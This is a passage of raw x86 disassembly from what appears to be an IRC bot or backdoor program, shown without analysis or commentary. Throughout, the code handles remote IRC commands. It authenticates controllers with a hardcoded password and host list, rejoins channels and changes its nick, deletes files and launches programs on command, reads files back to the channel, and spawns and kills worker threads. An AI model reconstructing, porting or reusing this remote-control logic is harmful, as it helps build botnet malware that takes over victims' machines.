		lea	eax, [ebp+var_5D88]
		push	offset asc_42A268 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+var_5D88]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409A73
		add	esp, 28h


loc_408ECD:				; CODE XREF: sub_401ACD+73C2j
		inc	edi
		cmp	edi, 0Ah
		jl	short loc_408E6E
		lea	eax, [ebp+Dst]
		push	offset asc_42A240 ; "-"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_408EE6:				; CODE XREF: sub_401ACD+739Dj
		push	offset aFrame	; "frame"
		push	[ebp+Source]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408F87
		cmp	[ebp+esi+Format], ebx
		jz	short loc_408F74
		cmp	[ebp+esi+Str2],	ebx
		jz	short loc_408F74
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_408F74
		mov	eax, [ebp+esi+var_7C]
		cmp	eax, ebx
		jz	short loc_408F74
		push	eax		; Str
		call	_atoi
		pop	ecx
		push	eax		; int
		push	edi		; Str
		call	_atoi
		pop	ecx
		push	eax		; int
		push	[ebp+esi+Str2]	; Str
		call	_atoi
		pop	ecx
		push	eax		; Size
		push	[ebp+esi+Format] ; int
		call	sub_4155F8
		add	esp, 10h
		test	eax, eax
		jnz	short loc_408F6D
		push	[ebp+esi+Format]
		lea	eax, [ebp+Dst]
		push	offset asc_42A20C ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	short loc_408F87
; ---------------------------------------------------------------------------


loc_408F6D:				; CODE XREF: sub_401ACD+7481j
		push	offset unk_42A1D8
		jmp	short loc_408F79
; ---------------------------------------------------------------------------


loc_408F74:				; CODE XREF: sub_401ACD+7437j
					; sub_401ACD+7440j ...
		push	offset asc_42A1A0 ; "-"


loc_408F79:				; CODE XREF: sub_401ACD+74A5j
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_408F87:				; CODE XREF: sub_401ACD+742Aj
					; sub_401ACD+749Ej
		push	offset aVideo	; "video"
		push	[ebp+Source]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40875A
		mov	eax, [ebp+esi+Format]
		cmp	eax, ebx
		mov	[ebp+arg_1C], eax
		jz	short loc_40901F
		mov	eax, [ebp+esi+Str2]
		cmp	eax, ebx
		mov	[ebp+Src], eax
		jz	short loc_40901F
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_40901F
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		jz	short loc_40901F
		mov	esi, [ebp+esi+var_78]
		cmp	esi, ebx
		jz	short loc_40901F
		push	esi		; Str
		call	_atoi
		pop	ecx
		push	eax		; int
		push	edi		; Str
		call	_atoi
		pop	ecx
		push	eax		; int
		push	[ebp+arg_18]	; Str
		call	_atoi
		pop	ecx
		push	eax		; int
		push	[ebp+Src]	; Str
		call	_atoi
		pop	ecx
		push	eax		; Size
		push	[ebp+arg_1C]	; int
		call	sub_4157F1
		add	esp, 14h
		test	eax, eax
		jnz	short loc_409015
		push	[ebp+arg_1C]
		push	offset unk_42A16C
		jmp	loc_40874B
; ---------------------------------------------------------------------------


loc_409015:				; CODE XREF: sub_401ACD+7539j
		push	offset unk_42A12C
		jmp	loc_4090E3
; ---------------------------------------------------------------------------


loc_40901F:				; CODE XREF: sub_401ACD+74DDj
					; sub_401ACD+74EBj ...
		push	offset unk_42A0EC
		jmp	loc_4090E3
; ---------------------------------------------------------------------------


loc_409029:				; CODE XREF: sub_401ACD+4042j
					; sub_401ACD+4057j
		push	offset aR	; "r"
		push	[ebp+Source]	; Filename
		call	_fopen
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	short loc_409099
		mov	esi, 200h
		push	edi		; File
		lea	eax, [ebp+Dst]
		push	esi		; MaxCount
		push	eax		; Buf
		call	_fgets
		add	esp, 0Ch


loc_409054:				; CODE XREF: sub_401ACD+75B6j
		test	eax, eax
		jz	short loc_409085
		push	1		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409A73
		push	edi		; File
		lea	eax, [ebp+Dst]
		push	esi		; MaxCount
		push	eax		; Buf
		call	_fgets
		add	esp, 20h
		jmp	short loc_409054
; ---------------------------------------------------------------------------


loc_409085:				; CODE XREF: sub_401ACD+7589j
		push	edi		; File
		call	_fclose
		pop	ecx
		push	[ebp+Source]
		push	offset unk_42A0C8
		jmp	loc_409227
; ---------------------------------------------------------------------------


loc_409099:				; CODE XREF: sub_401ACD+756Fj
		push	[ebp+Source]
		push	offset unk_42A0A4
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_4090A6:				; CODE XREF: sub_401ACD+4018j
					; sub_401ACD+402Dj
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+Source]	; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409855
		push	offset asc_42A0A0 ; "\n"
		push	esi		; Dest
		call	_strcat
		push	esi		; Str
		call	sub_419A51
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4090F6
		push	offset asc_42A074 ; "-"


loc_4090E3:				; CODE XREF: sub_401ACD+754Dj
					; sub_401ACD+7557j ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	loc_40875A
; ---------------------------------------------------------------------------


loc_4090F6:				; CODE XREF: sub_401ACD+760Fj
		push	esi
		lea	eax, [ebp+Dst]
		push	offset asc_42A05C ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	loc_40877B
; ---------------------------------------------------------------------------


loc_409110:				; CODE XREF: sub_401ACD+3FEEj
					; sub_401ACD+4003j
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+Source]	; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409855
		push	eax		; Format
		call	sub_418212
		test	eax, eax
		pop	ecx
		jnz	short loc_409140
		push	offset unk_42A03C
		jmp	short loc_4090E3
; ---------------------------------------------------------------------------


loc_409140:				; CODE XREF: sub_401ACD+766Aj
		push	offset dword_42A020
		jmp	short loc_4090E3
; ---------------------------------------------------------------------------


loc_409147:				; CODE XREF: sub_401ACD+3FC4j
					; sub_401ACD+3FD9j
		push	7Fh		; Count
		lea	eax, [ebp+var_2080]
		push	[ebp+Source]	; Source
		push	eax		; Dest
		call	_strncpy
		mov	esi, [ebp+esi+Format]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_409178
		push	7Fh		; Count
		lea	eax, [ebp+var_2000]
		push	esi		; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch


loc_409178:				; CODE XREF: sub_401ACD+7697j
		push	7Fh		; Count
		lea	eax, [ebp+var_1F80]
		push	[ebp+Format]	; Source
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_2084],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+Source]
		mov	[ebp+var_1EFC],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EF8],	eax
		lea	eax, [ebp+Dst]
		push	offset asc_42A008 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	1Ch		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 18h
		mov	[ebp+var_1F00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2084]
		push	ebx
		push	eax
		push	offset sub_41ADB6
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_1F00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40921B


loc_409205:				; CODE XREF: sub_401ACD+774Cj
		cmp	[ebp+var_1EF4],	ebx
		jnz	loc_406D00
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_409205
; ---------------------------------------------------------------------------


loc_40921B:				; CODE XREF: sub_401ACD+7736j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset asc_429FC8 ; "-"


loc_409227:				; CODE XREF: sub_401ACD+29CFj
					; sub_401ACD+75C7j
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	loc_406D00
; ---------------------------------------------------------------------------


loc_40923B:				; CODE XREF: sub_401ACD+3F9Aj
					; sub_401ACD+3FAFj
		push	ebx		; Source
		push	[ebp+Format]	; int
		push	[ebp+arg_4]	; int
		push	[ebp+Source]	; Str
		call	sub_40F96B
		add	esp, 10h
		push	[ebp+Source]
		push	offset dword_429FB0
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_40925D:				; CODE XREF: sub_401ACD+3F70j
					; sub_401ACD+3F85j
		push	14h		; Size
		lea	eax, [ebp+var_1D48]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_1D34]
		push	[ebp+Source]
		push	offset aS_6	; "%s"
		push	eax		; Dest
		call	_sprintf
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1D50],	eax
		lea	eax, [ebp+var_C4]
		push	eax		; Format
		lea	eax, [ebp+var_1C30]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1BA8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA4],	eax
		lea	eax, [ebp+var_1C30]
		push	eax
		lea	eax, [ebp+var_1D34]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_429F8C ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	1Ah		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_1BAC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D50]
		push	ebx
		push	eax
		push	offset sub_415E1B
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_1BAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	loc_4023E6


loc_409326:				; CODE XREF: sub_401ACD+786Dj
		cmp	[ebp+var_1BA0],	ebx
		jnz	loc_4083BD
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_409326
; ---------------------------------------------------------------------------


loc_40933C:				; CODE XREF: sub_401ACD+3F46j
					; sub_401ACD+3F5Bj
		push	[ebp+Source]
		call	ds:dword_427080	; DeleteFileA
		test	eax, eax
		jz	short loc_409367
		push	[ebp+Source]
		lea	eax, [ebp+Dst]
		push	offset asc_429F70 ; "-"
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		jmp	loc_409445
; ---------------------------------------------------------------------------


loc_409367:				; CODE XREF: sub_401ACD+787Aj
		push	offset dword_42A778
		call	sub_41814D
		pop	ecx
		push	eax
		jmp	loc_403F48
; ---------------------------------------------------------------------------


loc_409378:				; CODE XREF: sub_401ACD+3F1Cj
					; sub_401ACD+3F31j
		push	[ebp+Source]	; Str
		call	_atoi
		push	eax
		call	sub_4199CA
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		push	[ebp+Source]
		cmp	eax, esi
		jnz	short loc_409399
		push	offset unk_429F4C
		jmp	short loc_40939E
; ---------------------------------------------------------------------------


loc_409399:				; CODE XREF: sub_401ACD+78C3j
		push	offset asc_429F1C ; "-"


loc_40939E:				; CODE XREF: sub_401ACD+78CAj
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406D03
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409A73
		add	esp, 14h
		jmp	loc_406D03
; ---------------------------------------------------------------------------


loc_4093D7:				; CODE XREF: sub_401ACD+3EF2j
					; sub_401ACD+3F07j
		push	ebx		; int
		push	ebx		; int
		push	[ebp+Source]	; Str2
		push	[ebp+var_4]	; int
		push	ebx		; Str
		push	[ebp+arg_4]	; int
		call	sub_4196BD
		add	esp, 18h
		cmp	eax, 1
		push	[ebp+Source]
		jnz	short loc_4093FD
		push	offset unk_429EFC
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_4093FD:				; CODE XREF: sub_401ACD+7924j
		push	offset unk_429ECC
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_409407:				; CODE XREF: sub_401ACD+3EC8j
					; sub_401ACD+3EDDj
		mov	esi, [ebp+Source]
		push	esi
		call	dword_4CB694	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_40944D
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4CB60C	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_409468
		push	dword ptr [eax]


loc_409433:				; CODE XREF: sub_401ACD+7999j
		push	esi
		lea	eax, [ebp+Dst]
		push	offset asc_429EAC ; "-"
		push	eax		; Dest
		call	_sprintf


loc_409445:				; CODE XREF: sub_401ACD+7895j
		add	esp, 10h
		jmp	loc_406CDF
; ---------------------------------------------------------------------------


loc_40944D:				; CODE XREF: sub_401ACD+794Dj
		push	esi
		call	dword_4CB6D8	; gethostbyname
		cmp	eax, ebx
		jz	short loc_409468
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4CB6E0	; inet_ntoa
		push	eax
		jmp	short loc_409433
; ---------------------------------------------------------------------------


loc_409468:				; CODE XREF: sub_401ACD+7962j
					; sub_401ACD+7989j
		push	offset unk_429E84
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_409472:				; CODE XREF: sub_401ACD+3E9Ej
					; sub_401ACD+3EB3j
		push	7Fh		; Count
		push	[ebp+Source]	; Source
		push	[ebp+arg_14]	; Dest
		call	_strncpy
		add	esp, 0Ch
		push	[ebp+Source]
		push	offset unk_429E5C
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_40948F:				; CODE XREF: sub_401ACD+3E74j
					; sub_401ACD+3E89j
		push	5
		push	ebx
		push	ebx
		push	[ebp+Source]
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB5C0
		push	[ebp+Source]
		test	eax, eax
		jz	short loc_4094B3
		push	offset unk_429E3C
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_4094B3:				; CODE XREF: sub_401ACD+79DAj
		push	offset unk_429E18
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_4094BD:				; CODE XREF: sub_401ACD+3E4Aj
					; sub_401ACD+3E5Fj
		mov	eax, [ebp+Source]
		mov	cl, [eax]
		mov	byte_429094, cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset unk_429DF0
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_4094D6:				; CODE XREF: sub_401ACD+3E20j
					; sub_401ACD+3E35j
		push	[ebp+Source]	; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jle	loc_409855
		push	[ebp+Source]	; Str
		call	_atoi
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		push	ebx		; Str1
		push	ebx		; int
		lea	eax, [ebp+SubStr]
		push	2		; int
		push	eax		; Dest
		call	sub_40B08E
		add	esp, 10h
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aNickS_0	; "NICK	%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	loc_408995
; ---------------------------------------------------------------------------


loc_409528:				; CODE XREF: sub_401ACD+3DF6j
					; sub_401ACD+3E0Bj
		mov	esi, [ebp+Source]
		push	esi		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jle	loc_401E94
		push	esi		; Str
		call	_atoi
		cmp	eax, 400h
		pop	ecx
		jge	loc_401E94
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	esi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax] ; int
		call	sub_409A2D
		pop	ecx
		pop	ecx
		push	1F4h
		call	ds:dword_427078	; Sleep
		push	esi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	dword_4CB6EC	; closesocket
		push	[ebp+var_10]
		push	esi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	dword_43E5A4[eax]
		call	ds:dword_4270AC	; TerminateThread
		push	esi		; Str
		call	_atoi
		imul	eax, 234h
		push	esi		; Str
		mov	dword_43E5A4[eax], ebx
		call	_atoi
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43E390[eax], bl
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_4095D6:				; CODE XREF: sub_401ACD+3DCCj
					; sub_401ACD+3DE1j
		push	[ebp+Source]	; Str2
		push	offset aAll	; "all"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409642
		call	sub_40B2C0
		cmp	eax, ebx
		jle	short loc_4095FD
		push	eax
		push	offset unk_429DC4
		jmp	loc_408CDC
; ---------------------------------------------------------------------------


loc_4095FD:				; CODE XREF: sub_401ACD+7B23j
		push	offset asc_429D9C ; "-"


loc_409602:				; CODE XREF: sub_401ACD+24FAj
					; sub_401ACD+2519j ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_409610:				; CODE XREF: sub_401ACD+721Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_409631
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int


loc_409629:				; CODE XREF: sub_401ACD+6DB5j
		call	sub_409A73
		add	esp, 14h


loc_409631:				; CODE XREF: sub_401ACD+26F7j
					; sub_401ACD+2722j ...
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_4151AD
		jmp	loc_40207D
; ---------------------------------------------------------------------------


loc_409642:				; CODE XREF: sub_401ACD+7B1Aj
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401E94
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+File], eax


loc_40965E:				; CODE XREF: sub_401ACD+7C02j
		mov	eax, [ebp+File]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401E94
		push	esi		; Str
		call	_atoi
		push	eax
		call	sub_40B232
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_409685
		push	offset unk_429D78
		jmp	short loc_40968A
; ---------------------------------------------------------------------------


loc_409685:				; CODE XREF: sub_401ACD+7BAFj
		push	offset asc_429D4C ; "-"


loc_40968A:				; CODE XREF: sub_401ACD+7BB6j
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4096BA
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409A73
		add	esp, 14h


loc_4096BA:				; CODE XREF: sub_401ACD+7BCFj
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_4151AD
		add	[ebp+File], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_40965E
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_4096D6:				; CODE XREF: sub_401ACD+3DA2j
					; sub_401ACD+3DB7j
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+Source]	; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409855
		push	esi		; Args
		push	offset aS	; "%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409A2D
		add	esp, 0Ch
		push	esi
		push	offset dword_429D30
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_409712:				; CODE XREF: sub_401ACD+3D78j
					; sub_401ACD+3D8Dj
		push	[ebp+Source]	; Args
		push	offset aPartS_1	; "PART	%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409A2D
		add	esp, 0Ch
		push	[ebp+Source]
		push	offset unk_429D0C
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_409732:				; CODE XREF: sub_401ACD+3D4Ej
					; sub_401ACD+3D63j
		push	[ebp+esi+Format]
		push	[ebp+Source]	; Args
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409A2D
		add	esp, 10h
		push	[ebp+Source]
		push	offset unk_429CE8
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_409759:				; CODE XREF: sub_401ACD+3D24j
					; sub_401ACD+3D39j
		push	[ebp+Source]	; Args
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409A2D
		add	esp, 0Ch
		push	[ebp+Source]
		push	offset unk_429CC4
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_409779:				; CODE XREF: sub_401ACD+3164j
					; sub_401ACD+3179j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409A2D
		pop	ecx
		lea	eax, [ebp+Dst]
		pop	ecx
		push	[ebp+Source]
		push	offset asc_429CA0 ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_4151AD
		push	[ebp+Source]	; Str
		call	_atoi
		add	esp, 14h


loc_4097B3:				; CODE XREF: sub_401ACD+7D34j
		push	eax
		call	ds:dword_427078	; Sleep


loc_4097BA:				; CODE XREF: sub_401ACD+2AA3j
		xor	eax, eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_4097C1:				; CODE XREF: sub_401ACD+313Aj
					; sub_401ACD+314Fj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409A2D
		pop	ecx
		lea	eax, [ebp+Dst]
		pop	ecx
		push	[ebp+Source]
		push	offset asc_429C78 ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_4151AD
		push	[ebp+Source]	; Str
		call	_atoi
		add	esp, 14h
		imul	eax, 3E8h
		jmp	short loc_4097B3
; ---------------------------------------------------------------------------


loc_409803:				; CODE XREF: sub_401ACD+EC9j
					; sub_401ACD+EDEj
		push	dword ptr [ebp+esi+Args] ; Str1
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax		; int
		lea	eax, [ebp+Str1]
		push	dword_42909C	; int
		push	eax		; Dest
		call	sub_40B08E
		add	esp, 10h
		lea	eax, [ebp+Str1]
		push	eax		; Args
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409A2D
		add	esp, 0Ch
		lea	eax, [ebp+Str1]
		push	eax		; Args
		push	offset asc_429C54 ; "-"


loc_40984E:				; CODE XREF: sub_401ACD+70B5j
					; sub_401ACD+778Bj ...
		call	sub_415221
		pop	ecx


loc_409854:				; CODE XREF: sub_401ACD+6CBAj
		pop	ecx


loc_409855:				; CODE XREF: sub_401ACD+659j
					; sub_401ACD+665j ...
		mov	eax, [ebp+File]
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_40985D:				; CODE XREF: sub_401ACD+AB4j
					; sub_401ACD+AC9j
		mov	esi, dword ptr [ebp+esi+Args]
		cmp	esi, ebx
		mov	[ebp+Source], esi
		jz	loc_401E94
		cmp	[ebp+var_A4], ebx
		jnz	loc_401E94
		push	offset Delim	; "!"
		push	[ebp+var_90]	; Str
		call	_strtok
		mov	esi, eax
		push	offset byte_4CB50C ; Delim
		push	ebx		; Str
		inc	esi
		call	_strtok
		push	offset asc_429C50 ; "~"
		push	eax		; Str
		call	_strtok
		push	[ebp+Source]	; Str2
		mov	edi, eax
		push	offset aCool	; "cool"
		call	_strcmp
		add	esp, 20h
		test	eax, eax
		jz	short loc_4098FC
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax		; Args
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409A2D
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax		; Args
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]	; int
		call	sub_409A2D
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429BD0
		jmp	loc_40240A
; ---------------------------------------------------------------------------


loc_4098FC:				; CODE XREF: sub_401ACD+7DEBj
		mov	[ebp+File], offset off_429160


loc_409903:				; CODE XREF: sub_401ACD+7E52j
		mov	eax, [ebp+File]
		push	edi
		push	dword ptr [eax]
		call	sub_40B450
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409963
		add	[ebp+File], 4
		cmp	[ebp+File], offset off_429164
		jb	short loc_409903
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax		; Args
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409A2D
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax		; Args
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]	; int
		call	sub_409A2D
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429B7C
		jmp	loc_40240A
; ---------------------------------------------------------------------------


loc_409963:				; CODE XREF: sub_401ACD+7E45j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_409968:				; CODE XREF: sub_401ACD+7EC5j
		cmp	[ebp+Source], ebx
		jz	loc_401E94
		cmp	[edi], bl
		jnz	short loc_409988
		push	[ebp+Source]	; Str2
		push	offset aCool	; "cool"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409999


loc_409988:				; CODE XREF: sub_401ACD+7EA6j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409968
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_409999:				; CODE XREF: sub_401ACD+7EB9j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E00]
		push	7Fh		; Count
		push	eax		; Source
		push	esi		; Dest
		call	_strncpy
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4099D0
		push	ebx		; int
		push	[ebp+var_4]	; int
		push	offset unk_429B5C ; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409A73
		add	esp, 14h


loc_4099D0:				; CODE XREF: sub_401ACD+7EE7j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_429B3C
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_4099E1:				; CODE XREF: sub_401ACD+20Ej
					; sub_401ACD+223j
		push	[ebp+Source]	; Args
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409A2D
		add	esp, 0Ch
		push	offset aXI	; "-x+i"
		push	[ebp+Source]	; Args
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409A2D
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]	; Args
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409A2D
		add	esp, 10h
		mov	dword_4CB504, edi
		jmp	loc_401D6A
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_409A2D(int,char *Format,char Args)

sub_409A2D	proc near		; CODE XREF: sub_401955+3Dp
					; sub_401ACD+1CBp ...

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Format		= dword	ptr  0Ch
Args		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+Args]
		push	eax		; Args
		lea	eax, [ebp+Dest]
		push	[ebp+Format]	; Format
		push	200h		; Count
		push	eax		; Dest
		call	__vsnprintf
		add	esp, 10h
		lea	eax, [ebp+Dest]
		push	0
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4	; send
		leave
		retn
sub_409A2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_409A73(int,char *Str,int,int,int)

sub_409A73	proc near		; CODE XREF: sub_401ACD+518p
					; sub_401ACD+137Ep ...

var_400		= byte ptr -400h
Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
